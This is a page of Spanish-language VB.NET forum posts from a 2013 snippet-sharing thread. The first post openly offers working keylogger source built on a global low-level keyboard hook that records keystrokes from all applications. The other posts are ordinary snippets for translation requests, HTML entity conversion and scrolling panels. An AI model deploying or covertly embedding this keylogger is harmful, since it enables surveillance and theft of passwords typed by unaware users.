8941
Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
en: 2 Junio 2013, 15:56 pm
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.
La idea la tuve de un code que vi de Kub0x
Esta es la parte que me he currado yo:
#Region " KeyLogger "
Public WithEvents KeysHook As New KeyboardHook
Dim Auto_Backspace_Key As Boolean = True
Dim Auto_Enter_Key As Boolean = True
Dim Auto_Tab_Key As Boolean = True
Dim No_F_Keys As Boolean = False
Private Sub KeysHook_KeyDown( ByVal Key As Keys) Handles KeysHook.KeyDown
Select Case Control.ModifierKeys
Case 393216 ' Alt-GR + Key
Select Case Key
Case Keys.D1 : Key_Listener( "|" )
Case Keys.D2 : Key_Listener( "@" )
Case Keys.D3 : Key_Listener( "#" )
Case Keys.D4 : Key_Listener( "~" )
Case Keys.D5 : Key_Listener( "€" )
Case Keys.D6 : Key_Listener( "¬" )
Case Keys.E : Key_Listener( "€" )
Case Keys.Oem1 : Key_Listener( "[" )
Case Keys.Oem5 : Key_Listener( "\" )
Case Keys.Oem7 : Key_Listener( "{" )
Case Keys.Oemplus : Key_Listener( "]" )
Case Keys.OemQuestion : Key_Listener( "}" )
Case Else : Key_Listener( "" )
End Select
Case 65536 ' LShift/RShift + Key
Select Case Key
Case Keys.D0 : Key_Listener( "=" )
Case Keys.D1 : Key_Listener( "!" )
Case Keys.D2 : Key_Listener( "" "" )
Case Keys.D3 : Key_Listener( "·" )
Case Keys.D4 : Key_Listener( "$" )
Case Keys.D5 : Key_Listener( "%" )
Case Keys.D6 : Key_Listener( "&" )
Case Keys.D7 : Key_Listener( "/" )
Case Keys.D8 : Key_Listener( "(" )
Case Keys.D9 : Key_Listener( ")" )
Case Keys.Oem1 : Key_Listener( "^" )
Case Keys.Oem5 : Key_Listener( "ª" )
Case Keys.Oem6 : Key_Listener( "¿" )
Case Keys.Oem7 : Key_Listener( "¨" )
Case Keys.OemBackslash : Key_Listener( ">" )
Case Keys.Oemcomma : Key_Listener( ";" )
Case Keys.OemMinus : Key_Listener( "_" )
Case Keys.OemOpenBrackets : Key_Listener( "?" )
Case Keys.OemPeriod : Key_Listener( ":" )
Case Keys.Oemplus : Key_Listener( "*" )
Case Keys.OemQuestion : Key_Listener( "Ç" )
Case Keys.Oemtilde : Key_Listener( "Ñ" )
Case Else : Key_Listener( "" )
End Select
Case Else
If Key.ToString .Length = 1 Then ' Single alpha key
If Control.IsKeyLocked ( Keys.CapsLock ) Or Control.ModifierKeys = Keys.Shift Then
Key_Listener( Key.ToString .ToUpper )
Else
Key_Listener( Key.ToString .ToLower )
End If
Else
Select Case Key ' Single special key
Case Keys.Add : Key_Listener( "+" )
Case Keys.Back : Key_Listener( "{BackSpace}" )
Case Keys.D0 : Key_Listener( "0" )
Case Keys.D1 : Key_Listener( "1" )
Case Keys.D2 : Key_Listener( "2" )
Case Keys.D3 : Key_Listener( "3" )
Case Keys.D4 : Key_Listener( "4" )
Case Keys.D5 : Key_Listener( "5" )
Case Keys.D6 : Key_Listener( "6" )
Case Keys.D7 : Key_Listener( "7" )
Case Keys.D8 : Key_Listener( "8" )
Case Keys.D9 : Key_Listener( "9" )
Case Keys.Decimal : Key_Listener( "." )
Case Keys.Delete : Key_Listener( "{Supr}" )
Case Keys.Divide : Key_Listener( "/" )
Case Keys.End : Key_Listener( "{End}" )
Case Keys.Enter : Key_Listener( "{Enter}" )
Case Keys.F1 : Key_Listener( "{F1}" )
Case Keys.F10 : Key_Listener( "{F10}" )
Case Keys.F11 : Key_Listener( "{F11}" )
Case Keys.F12 : Key_Listener( "{F12}" )
Case Keys.F2 : Key_Listener( "{F2}" )
Case Keys.F3 : Key_Listener( "{F3}" )
Case Keys.F4 : Key_Listener( "{F4}" )
Case Keys.F5 : Key_Listener( "{F5}" )
Case Keys.F6 : Key_Listener( "{F6}" )
Case Keys.F7 : Key_Listener( "{F7}" )
Case Keys.F8 : Key_Listener( "{F8}" )
Case Keys.F9 : Key_Listener( "{F9}" )
Case Keys.Home : Key_Listener( "{Home}" )
Case Keys.Insert : Key_Listener( "{Insert}" )
Case Keys.Multiply : Key_Listener( "*" )
Case Keys.NumPad0 : Key_Listener( "0" )
Case Keys.NumPad1 : Key_Listener( "1" )
Case Keys.NumPad2 : Key_Listener( "2" )
Case Keys.NumPad3 : Key_Listener( "3" )
Case Keys.NumPad4 : Key_Listener( "4" )
Case Keys.NumPad5 : Key_Listener( "5" )
Case Keys.NumPad6 : Key_Listener( "6" )
Case Keys.NumPad7 : Key_Listener( "7" )
Case Keys.NumPad8 : Key_Listener( "8" )
Case Keys.NumPad9 : Key_Listener( "9" )
Case Keys.Oem1 : Key_Listener( "`" )
Case Keys.Oem5 : Key_Listener( "º" )
Case Keys.Oem6 : Key_Listener( "¡" )
Case Keys.Oem7 : Key_Listener( "´" )
Case Keys.OemBackslash : Key_Listener( "<" )
Case Keys.Oemcomma : Key_Listener( "," )
Case Keys.OemMinus : Key_Listener( "." )
Case Keys.OemOpenBrackets : Key_Listener( "'" )
Case Keys.OemPeriod : Key_Listener( "-" )
Case Keys.Oemplus : Key_Listener( "+" )
Case Keys.OemQuestion : Key_Listener( "ç" )
Case Keys.Oemtilde : Key_Listener( "ñ" )
Case Keys.PageDown : Key_Listener( "{AvPag}" )
Case Keys.PageUp : Key_Listener( "{RePag}" )
Case Keys.Space : Key_Listener( " " )
Case Keys.Subtract : Key_Listener( "-" )
Case Keys.Tab : Key_Listener( "{Tabulation}" )
Case Else : Key_Listener( "" )
End Select
End If
End Select
End Sub
Public Sub Key_Listener( ByVal key As String )
If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
RichTextBox1.Text = RichTextBox1.Text .Substring ( 0 , RichTextBox1.Text .Length - 1 )
ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
RichTextBox1.Text += ControlChars.NewLine
ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
RichTextBox1.Text += ControlChars.Tab
ElseIf No_F_Keys AndAlso key.StartsWith ( "{F" ) Then ' Ommit F Keys
Else ' Print the character
RichTextBox1.Text += key
End If
End Sub
#End Region
Y esta es la class del Hook:
Imports System.Runtime .InteropServices
Public Class KeyboardHook
<DllImport( "User32.dll" , CharSet:= CharSet.Auto , CallingConvention:= CallingConvention.StdCall ) > _
Private Overloads Shared Function SetWindowsHookEx( ByVal idHook As Integer , ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer ) As Integer
End Function
<DllImport( "User32.dll" , CharSet:= CharSet.Auto , CallingConvention:= CallingConvention.StdCall ) > _
Private Overloads Shared Function CallNextHookEx( ByVal idHook As Integer , ByVal nCode As Integer , ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport( "User32.dll" , CharSet:= CharSet.Auto , CallingConvention:= CallingConvention.StdCall ) > _
Private Overloads Shared Function UnhookWindowsHookEx( ByVal idHook As Integer ) As Boolean
End Function
<StructLayout( LayoutKind.Sequential ) > _
Private Structure KBDLLHOOKSTRUCT
Public vkCode As UInt32
Public scanCode As UInt32
Public flags As KBDLLHOOKSTRUCTFlags
Public time As UInt32
Public dwExtraInfo As UIntPtr
End Structure
<Flags( ) > _
Private Enum KBDLLHOOKSTRUCTFlags As UInt32
LLKHF_EXTENDED = & H1
LLKHF_INJECTED = & H10
LLKHF_ALTDOWN = & H20
LLKHF_UP = & H80
End Enum
Public Shared Event KeyDown( ByVal Key As Keys)
Public Shared Event KeyUp( ByVal Key As Keys)
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const HC_ACTION As Integer = 0
Private Const WM_KEYDOWN = & H100
Private Const WM_KEYUP = & H101
Private Const WM_SYSKEYDOWN = & H104
Private Const WM_SYSKEYUP = & H105
Private Delegate Function KBDLLHookProc( ByVal nCode As Integer , ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc( AddressOf KeyboardProc)
Private HHookID As IntPtr = IntPtr.Zero
Private Function KeyboardProc( ByVal nCode As Integer , ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
If ( nCode = HC_ACTION) Then
Dim struct As KBDLLHOOKSTRUCT
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown( CType ( CType ( Marshal.PtrToStructure ( lParam, struct.GetType ( ) ) , KBDLLHOOKSTRUCT) .vkCode , Keys) )
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp( CType ( CType ( Marshal.PtrToStructure ( lParam, struct.GetType ( ) ) , KBDLLHOOKSTRUCT) .vkCode , Keys) )
End Select
End If
Return CallNextHookEx( IntPtr.Zero , nCode, wParam, lParam)
End Function
Public Sub New ( )
HHookID = SetWindowsHookEx( WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime .InteropServices .Marshal .GetHINSTANCE ( System.Reflection .Assembly .GetExecutingAssembly .GetModules ( ) ( 0 ) ) .ToInt32 , 0 )
If HHookID = IntPtr.Zero Then
Throw New Exception( "Could not set keyboard hook" )
End If
End Sub
Protected Overrides Sub Finalize( )
If Not HHookID = IntPtr.Zero Then
UnhookWindowsHookEx( HHookID)
End If
MyBase .Finalize ( )
End Sub
End Class
8942
Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
en: 2 Junio 2013, 08:21 am
Usar Google Translate sin comprar la API de pago xD
#Region " Google Translate "
' [ Google Translate Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es)) ' Result: Hola mundo
' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
Public Enum GoogleTranslate_Languages
auto ' Detectar idioma
af ' afrikáans
ar ' árabe
az ' azerí
be ' bielorruso
bg ' búlgaro
bn ' bengalí; bangla
bs ' bosnio
ca ' catalán
ceb ' cebuano
cs ' checo
cy ' galés
da ' danés
de ' alemán
el ' griego
en ' inglés
eo ' esperanto
es ' español
et ' estonio
eu ' euskera
fa ' persa
fi ' finlandés
fr ' francés
ga ' irlandés
gl ' gallego
gu ' gujarati
hi ' hindi
hmn ' Hmong
hr ' croata
ht ' criollo haitiano
hu ' húngaro
hy ' armenio
id ' indonesio
it ' italiano
iw ' hebreo
ja ' japonés
jw ' javanés
ka ' georgiano
km ' Jemer
kn ' canarés
ko ' coreano
la ' latín
lo ' lao
lt ' lituano
lv ' letón
mk ' macedonio
mr ' maratí
ms ' malayo
mt ' maltés
nl ' holandés
no ' noruego
pl ' polaco
pt ' portugués
ro ' rumano
ru ' ruso
sk ' eslovaco
sl ' esloveno
sq ' albanés
sr ' serbio
sv ' sueco
sw ' suajili
ta ' tamil
te ' telugu
th ' tailandés
tl ' tagalo
tr ' turco
uk ' ucraniano
ur ' urdu
vi ' vietnamita
yi ' yidis
zh_CN ' chino
End Enum
Public Function Google_Translate( ByVal Input As String , _
ByVal From_Language As GoogleTranslate_Languages, _
ByVal To_Language As GoogleTranslate_Languages) As String
Dim Formatted_From_Language As String = From_Language.ToString .Replace ( "_" , "-" ) ' zh_CN > zh-CN
Dim Formatted_To_Language As String = To_Language.ToString .Replace ( "_" , "-" ) ' zh_CN > zh-CN
Dim webClient As New System.Net .WebClient
Dim str = webClient.DownloadString ( _
"http://translate.google.com/translate_a/t?client=t&text=" & Input & _
"&sl=" & Formatted_From_Language & _
"&tl=" & Formatted_To_Language & "" )
Return ( str .Substring ( 4 , str .Length - 4 ) .Split ( ControlChars.Quote ) .First )
End Function
#End Region
Extra: ->
[BATCH] GTC (Google Translate Console)
8943
Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
en: 2 Junio 2013, 08:19 am
Un simple método Get:
#Region " Get Method "
' [ Get Method Function ]
'
' Examples :
' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
Public Function Get_Method( ByVal URL As String ) As String
Dim webClient As New System.Net .WebClient
Return webClient.DownloadString ( URL)
End Function
#End Region
Convierte un string a entidades html:
#Region " String To Html Entities "
' [ String To Html Escaped Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com
Private Function String_To_Html_Entities( ByVal str As String ) As String
str = str .Replace ( "&" , "&" ) ' Keep this character to be always the first replaced.
str = str .Replace ( ControlChars.Quote , """ )
str = str .Replace ( " " , " " )
str = str .Replace ( "<" , "<" )
str = str .Replace ( ">" , ">" )
str = str .Replace ( "¡" , "¡" )
str = str .Replace ( "¢" , "¢" )
str = str .Replace ( "£" , "£" )
str = str .Replace ( "¤" , "¤" )
str = str .Replace ( "¥" , "¥" )
str = str .Replace ( "¦" , "¦" )
str = str .Replace ( "§" , "§" )
str = str .Replace ( "¨" , "¨" )
str = str .Replace ( "©" , "©" )
str = str .Replace ( "ª" , "ª" )
str = str .Replace ( "¬" , "¬" )
str = str .Replace ( "®" , "®" )
str = str .Replace ( "¯" , "¯" )
str = str .Replace ( "°" , "°" )
str = str .Replace ( "±" , "±" )
str = str .Replace ( "²" , "²" )
str = str .Replace ( "³" , "³" )
str = str .Replace ( "´" , "´" )
str = str .Replace ( "µ" , "µ" )
str = str .Replace ( "¶" , "¶" )
str = str .Replace ( "·" , "·" )
str = str .Replace ( "¸" , "¸" )
str = str .Replace ( "¹" , "¹" )
str = str .Replace ( "º" , "º" )
str = str .Replace ( "»" , "»" )
str = str .Replace ( "¼" , "¼" )
str = str .Replace ( "½" , "½" )
str = str .Replace ( "¾" , "¾" )
str = str .Replace ( "¿" , "¿" )
str = str .Replace ( "×" , "×" )
str = str .Replace ( "ß" , "ß" )
str = str .Replace ( "À" , "À" )
str = str .Replace ( "à" , "à" )
str = str .Replace ( "Á" , "Á" )
str = str .Replace ( "á" , "á" )
str = str .Replace ( "" , "Â" )
str = str .Replace ( "â" , "â" )
str = str .Replace ( "Ã" , "Ã" )
str = str .Replace ( "ã" , "ã" )
str = str .Replace ( "Ä" , "Ä" )
str = str .Replace ( "ä" , "ä" )
str = str .Replace ( "Å" , "Å" )
str = str .Replace ( "å" , "å" )
str = str .Replace ( "Æ" , "Æ" )
str = str .Replace ( "æ" , "æ" )
str = str .Replace ( "ç" , "ç" )
str = str .Replace ( "Ç" , "Ç" )
str = str .Replace ( "È" , "È" )
str = str .Replace ( "è" , "è" )
str = str .Replace ( "É" , "É" )
str = str .Replace ( "é" , "é" )
str = str .Replace ( "Ê" , "Ê" )
str = str .Replace ( "ê" , "ê" )
str = str .Replace ( "Ë" , "Ë" )
str = str .Replace ( "ë" , "ë" )
str = str .Replace ( "Ì" , "Ì" )
str = str .Replace ( "ì" , "ì" )
str = str .Replace ( "Í" , "Í" )
str = str .Replace ( "í" , "í" )
str = str .Replace ( "Î" , "Î" )
str = str .Replace ( "î" , "î" )
str = str .Replace ( "Ï" , "Ï" )
str = str .Replace ( "ï" , "ï" )
str = str .Replace ( "Ð" , "Ð" )
str = str .Replace ( "ð" , "ð" )
str = str .Replace ( "ñ" , "ñ" )
str = str .Replace ( "Ñ" , "Ñ" )
str = str .Replace ( "Ò" , "Ò" )
str = str .Replace ( "ò" , "ò" )
str = str .Replace ( "Ó" , "Ó" )
str = str .Replace ( "ó" , "ó" )
str = str .Replace ( "Ô" , "Ô" )
str = str .Replace ( "ô" , "ô" )
str = str .Replace ( "Õ" , "Õ" )
str = str .Replace ( "õ" , "õ" )
str = str .Replace ( "Ö" , "Ö" )
str = str .Replace ( "ö" , "ö" )
str = str .Replace ( "÷" , "÷" )
str = str .Replace ( "Ø" , "Ø" )
str = str .Replace ( "ø" , "ø" )
str = str .Replace ( "Ù" , "Ù" )
str = str .Replace ( "ù" , "ù" )
str = str .Replace ( "Ú" , "Ú" )
str = str .Replace ( "ú" , "ú" )
str = str .Replace ( "Û" , "Û" )
str = str .Replace ( "û" , "û" )
str = str .Replace ( "Ü" , "Ü" )
str = str .Replace ( "ü" , "ü" )
str = str .Replace ( "Ý" , "Ý" )
str = str .Replace ( "ý" , "ý" )
str = str .Replace ( "Þ" , "Þ" )
str = str .Replace ( "þ" , "þ" )
str = str .Replace ( "€" , "€" )
Return str
End Function
#End Region
Convierte un string a entidades html codificadas:
#Region " String To Html Escaped Entities "
' [ String To Html Escaped Entities Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;
Public Function String_To_Html_Escaped_Entities( str As String ) As String
Dim sb As New System.Text .StringBuilder ( str .Length * 6 )
For Each c As Char In str : sb.Append ( "&#" ) .Append ( CType ( AscW ( c) , UShort) ) .Append ( ";" c) : Next
Return sb.ToString ( )
End Function
#End Region
Decodifica un string que contenga entidades HTML
#Region " Html Entities To String "
' [ Html Entities To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com
Private Function Html_Entities_To_String( ByVal str As String ) As String
str = str .Replace ( """ , ControlChars.Quote )
str = str .Replace ( "&" , "&" )
str = str .Replace ( " " , "" )
str = str .Replace ( "<" , "<" )
str = str .Replace ( ">" , ">" )
str = str .Replace ( "¡" , "¡" )
str = str .Replace ( "¢" , "¢" )
str = str .Replace ( "£" , "£" )
str = str .Replace ( "¤" , "¤" )
str = str .Replace ( "¥" , "¥" )
str = str .Replace ( "¦" , "¦" )
str = str .Replace ( "§" , "§" )
str = str .Replace ( "¨" , "¨" )
str = str .Replace ( "©" , "©" )
str = str .Replace ( "ª" , "ª" )
str = str .Replace ( "¬" , "¬" )
str = str .Replace ( "®" , "®" )
str = str .Replace ( "¯" , "¯" )
str = str .Replace ( "°" , "°" )
str = str .Replace ( "±" , "±" )
str = str .Replace ( "²" , "²" )
str = str .Replace ( "³" , "³" )
str = str .Replace ( "´" , "´" )
str = str .Replace ( "µ" , "µ" )
str = str .Replace ( "¶" , "¶" )
str = str .Replace ( "·" , "·" )
str = str .Replace ( "¸" , "¸" )
str = str .Replace ( "¹" , "¹" )
str = str .Replace ( "º" , "º" )
str = str .Replace ( "»" , "»" )
str = str .Replace ( "¼" , "¼" )
str = str .Replace ( "½" , "½" )
str = str .Replace ( "¾" , "¾" )
str = str .Replace ( "¿" , "¿" )
str = str .Replace ( "×" , "×" )
str = str .Replace ( "ß" , "ß" )
str = str .Replace ( "À" , "À" )
str = str .Replace ( "à" , "à" )
str = str .Replace ( "Á" , "Á" )
str = str .Replace ( "á" , "á" )
str = str .Replace ( "Â" , "" )
str = str .Replace ( "â" , "â" )
str = str .Replace ( "Ã" , "Ã" )
str = str .Replace ( "ã" , "ã" )
str = str .Replace ( "Ä" , "Ä" )
str = str .Replace ( "ä" , "ä" )
str = str .Replace ( "Å" , "Å" )
str = str .Replace ( "å" , "å" )
str = str .Replace ( "Æ" , "Æ" )
str = str .Replace ( "æ" , "æ" )
str = str .Replace ( "ç" , "ç" )
str = str .Replace ( "Ç" , "Ç" )
str = str .Replace ( "È" , "È" )
str = str .Replace ( "è" , "è" )
str = str .Replace ( "É" , "É" )
str = str .Replace ( "é" , "é" )
str = str .Replace ( "Ê" , "Ê" )
str = str .Replace ( "ê" , "ê" )
str = str .Replace ( "Ë" , "Ë" )
str = str .Replace ( "ë" , "ë" )
str = str .Replace ( "Ì" , "Ì" )
str = str .Replace ( "ì" , "ì" )
str = str .Replace ( "Í" , "Í" )
str = str .Replace ( "í" , "í" )
str = str .Replace ( "Î" , "Î" )
str = str .Replace ( "î" , "î" )
str = str .Replace ( "Ï" , "Ï" )
str = str .Replace ( "ï" , "ï" )
str = str .Replace ( "Ð" , "Ð" )
str = str .Replace ( "ð" , "ð" )
str = str .Replace ( "ñ" , "ñ" )
str = str .Replace ( "Ñ" , "Ñ" )
str = str .Replace ( "Ò" , "Ò" )
str = str .Replace ( "ò" , "ò" )
str = str .Replace ( "Ó" , "Ó" )
str = str .Replace ( "ó" , "ó" )
str = str .Replace ( "Ô" , "Ô" )
str = str .Replace ( "ô" , "ô" )
str = str .Replace ( "Õ" , "Õ" )
str = str .Replace ( "õ" , "õ" )
str = str .Replace ( "Ö" , "Ö" )
str = str .Replace ( "ö" , "ö" )
str = str .Replace ( "÷" , "÷" )
str = str .Replace ( "Ø" , "Ø" )
str = str .Replace ( "ø" , "ø" )
str = str .Replace ( "Ù" , "Ù" )
str = str .Replace ( "ù" , "ù" )
str = str .Replace ( "Ú" , "Ú" )
str = str .Replace ( "ú" , "ú" )
str = str .Replace ( "Û" , "Û" )
str = str .Replace ( "û" , "û" )
str = str .Replace ( "Ü" , "Ü" )
str = str .Replace ( "ü" , "ü" )
str = str .Replace ( "Ý" , "Ý" )
str = str .Replace ( "ý" , "ý" )
str = str .Replace ( "Þ" , "Þ" )
str = str .Replace ( "þ" , "þ" )
str = str .Replace ( "€" , "€" )
Return str
End Function
#End Region
Decodifica un string codificado en HTML Escaped Entities
#Region " Html Escaped Entities To String "
' [ Html Escaped Entities To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Html_Escaped_Entities_To_String("&#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;")) ' Result: Me@Gmail.com
Public Function Html_Escaped_Entities_To_String( str As String ) As String
Dim sb As New System.Text .StringBuilder ( str .Length )
str = str .Replace ( "&#" , "" )
Try : For Each entity In str .Split ( ";" ) : sb.Append ( Chr ( entity) ) : Next : Catch : End Try
Return sb.ToString ( )
End Function
#End Region
Comprueba si un numero es multiplo de otro
#Region " Number Is Multiple? "
' [ Number Is Multiple? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
Function Number_Is_Multiple( ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
Return ( Number Mod Multiple = 0 )
End Function
#End Region
Comprueba si un numero es divisible por otro
#Region " Number Is Divisible? "
' [ Number Is Divisible? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
Function Number_Is_Divisible( ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
Return ( Number Mod Divisible = 0 )
End Function
#End Region
8945
Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox
en: 1 Junio 2013, 21:51 pm
1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo)
2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items.
Case 0 : ms +=5 Case 1 : ms +=10 Case 2 : ms +=15 Esa es la parte donde más cuidado has de tener.
3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado.
slaudos!
8946
Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox
en: 1 Junio 2013, 21:42 pm
Pues yo no lo entiendo, porque lo que defines como propiedades no son propiedades, la pregunta es bastante confusa,
de todas formas te hice un ejemplo:
Básicamente debes comprobar el índice del item que está seleccionado en el listbox, hay un evento que maneja eso, y ahí ya haces lo que desees...
Public Class Form1
Dim Items( ) As String = { "Time 1" , "Time 2" , "Time 3" }
Dim WithEvents ListaTime1 As New ListBox, ListaTime2 As New ListBox
Private Sub Form1_Load( sender As Object , e As EventArgs) Handles MyBase .Load
For Each item In Items : ListaTime1.Items .Add ( item) : ListaTime2.Items .Add ( item) : Next
Me .Controls .Add ( ListaTime1) : Me .Controls .Add ( ListaTime2)
ListaTime1.Dock = DockStyle.Left : ListaTime2.Dock = DockStyle.Right
Me .Size = New Point( 280 , 100 )
End Sub
Private Sub Listas_SelectedIndexChanged( sender As Object , e As EventArgs) Handles _
ListaTime1.SelectedIndexChanged , _
ListaTime2.SelectedIndexChanged
Select Case sender.SelectedIndex
Case 0 : MsgBox ( sender.SelectedItem )
Case 1 : MsgBox ( sender.SelectedItem )
Case 2 : MsgBox ( sender.SelectedItem )
Case Else
End Select
End Sub
End Class
Salu2
8947
Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes?
en: 1 Junio 2013, 17:53 pm
Ahora que leo ese último comentario, se me olvidó pasarte el form del video xD:
Añade en el form:
1 un panel y métele pictureboxes
1 botón para scrollear hacia arriba
1 botón apra scrollear hacia abajo
Public Class Form1
Dim Scroll_Position As Int32 = 0
Dim Button_Down_Is_Pressed As Boolean = False
Dim Button_Up_Is_Pressed As Boolean = False
Dim WithEvents Progressive_Scroll_Timer As New Timer
Dim SmallChange As Int32 = 5
Dim Largechange As Int32 = 10
' Sub which reduces the Flickering, but this sub makes x20 times slower any operation of any Form/Application.
Protected Overrides ReadOnly Property CreateParams( ) As CreateParams
Get
Dim cp As CreateParams = MyBase .CreateParams
cp.ExStyle = cp.ExStyle Or & H2000000
Return cp
End Get
End Property 'CreateParams
Private Sub Form1_Load( sender As Object , e As EventArgs) Handles MyBase .Load
Me .ResumeLayout ( False )
Panel1.ResumeLayout ( False )
Panel1.VerticalScroll .Maximum = 999999999
Progressive_Scroll_Timer.Interval = 50
Panel1.BackColor = Color.FromArgb ( 150 , 0 , 0 , 0 )
End Sub
Private Sub Panel_MouseHover( sender As Object , e As EventArgs) Handles Panel1.MouseHover
sender.focus ( )
End Sub
Private Sub Timer1_Tick( sender As Object , e As EventArgs) Handles Progressive_Scroll_Timer.Tick
If Button_Down_Is_Pressed Then
Scroll_Down( SmallChange)
ElseIf Button_Up_Is_Pressed Then
Scroll_Up( SmallChange)
Else
sender.stop ( )
End If
End Sub
Private Sub Scroll_Up( ByVal Change As Int32)
Scroll_Position -= Change
Try : Panel1.VerticalScroll .Value = Scroll_Position : Catch : Scroll_Position += Change : End Try
End Sub
Private Sub Scroll_Down( ByVal Change As Int32)
Scroll_Position += Change
Try : Panel1.VerticalScroll .Value = Scroll_Position : Catch : Scroll_Position -= Change : End Try
End Sub
Private Sub Button_Down_MouseDown( sender As Object , e As MouseEventArgs) Handles Button2.MouseDown
If e.Button = Windows.Forms .MouseButtons .Left Then
Button_Down_Is_Pressed = True
Progressive_Scroll_Timer.Start ( )
End If
End Sub
Private Sub Button_Up_MouseDown( sender As Object , e As MouseEventArgs) Handles Button1.MouseDown
If e.Button = Windows.Forms .MouseButtons .Left Then
Button_Up_Is_Pressed = True
Progressive_Scroll_Timer.Start ( )
End If
End Sub
Private Sub Button_Down_MouseUp( sender As Object , e As MouseEventArgs) Handles Button2.MouseUp
Button_Down_Is_Pressed = False
End Sub
Private Sub Button_Up_MouseUp( sender As Object , e As MouseEventArgs) Handles Button1.MouseUp
Button_Up_Is_Pressed = False
End Sub
Private Sub Form_MouseWheel( ByVal sender As Object , ByVal e As MouseEventArgs) Handles Panel1.MouseWheel
If Panel1.Focused Then
Select Case Math.Sign ( e.Delta )
Case Is > 0 : Scroll_Up( Largechange)
Case Is < 0 : Scroll_Down( Largechange)
End Select
End If
End Sub
End Class
salu2
8948
Programación / .NET (C#, VB.NET, ASP) / Re: no puedo borrar pdf recien creado en vb.net
en: 1 Junio 2013, 09:54 am
Archivo1 y 2 estan siendo utilizados por otro. No se quien estara usandolos si ya ha terminado el metodo de union de pdf.
Te has dejado algún objeto sin liberar y es quien "está usando" los archivos, pues los mantiene abiertos en modo de lectura o escritura, ya séa un streamreader, streamwritter, stringbuilder, o lo que hayas usado en tu code para realizar "X" operación.
Como ya te han dicho... si no muestras el código poco se puede hacer, pero vamos, el problema es ese, un objeto sin cerrar/liberar, pongo la mano en el fuego al 100%, la excepción que comentas lo provoca eso, así que con que le heches un repaso a tu código para añadir los "end using" o en su defecto ".close"/".dispose" debería ser más que suficiente.
Salu2!
8949
Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes?
en: 31 Mayo 2013, 23:09 pm
Tienes razón Kubox, yo siempre digo que para trabajar con transparencias hay que usar WPF y para lo del Flickering también, pero tooodo cambia en WPF, se me hace complejo, el hecho de crear un proyecto en WPF, aprender XAML, asimilar el hecho de volver a aprender todo lo que llevo aprendido en WindowsForms para poder "trasladarlo" a la sintaxis y los métodos de WPF... No me motiva nada, más bien me desespera.
Recuerdo una vez, no hace mucho, intenté usar un código de un WF en un WPF, para ello necesitaba un timer, y no hay timer en WPF, sé que puedo buscar el equivalente de un Timer en un WPF, pero es que diréctamente cerré el proyecto y me olvidé, porque para cada cosa voy a tener que ir buscando su equivalente y cambiar cada pequeña cosa, se me queda muy grande WPF.
Gracias por tu consejo Kubox
@Seazoux
Y se puede hacer que vaya imagen por imagen en vez de un Scroll fluido?
Usé un timer para el scroll progresivo, perféctamente se puede hacer "imágen por imágen", lo que te permita tu imaginación (verticalscrollbar.value = )xD
Saludos
8950
Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes?
en: 31 Mayo 2013, 22:23 pm
Es bastante fácil, mira:
1.Como contenedor usa un panel.
2.Metes dentro los pictureboxes que quieras (preferiblemente añádelos en tiempo de ejecución, porque si tienes que meter 30 o 50 pictureboxes... se te va a quedar pequeña la pantalla para agrandar el panel e ir metiendoles desde el designer xD)
3. Y ya el resto es símplemente usar las scrollbar del panel "Panel1.VerticalScroll." (Aunque no las tengas activas ni estén visibles, puedes usarlas para scrollear).
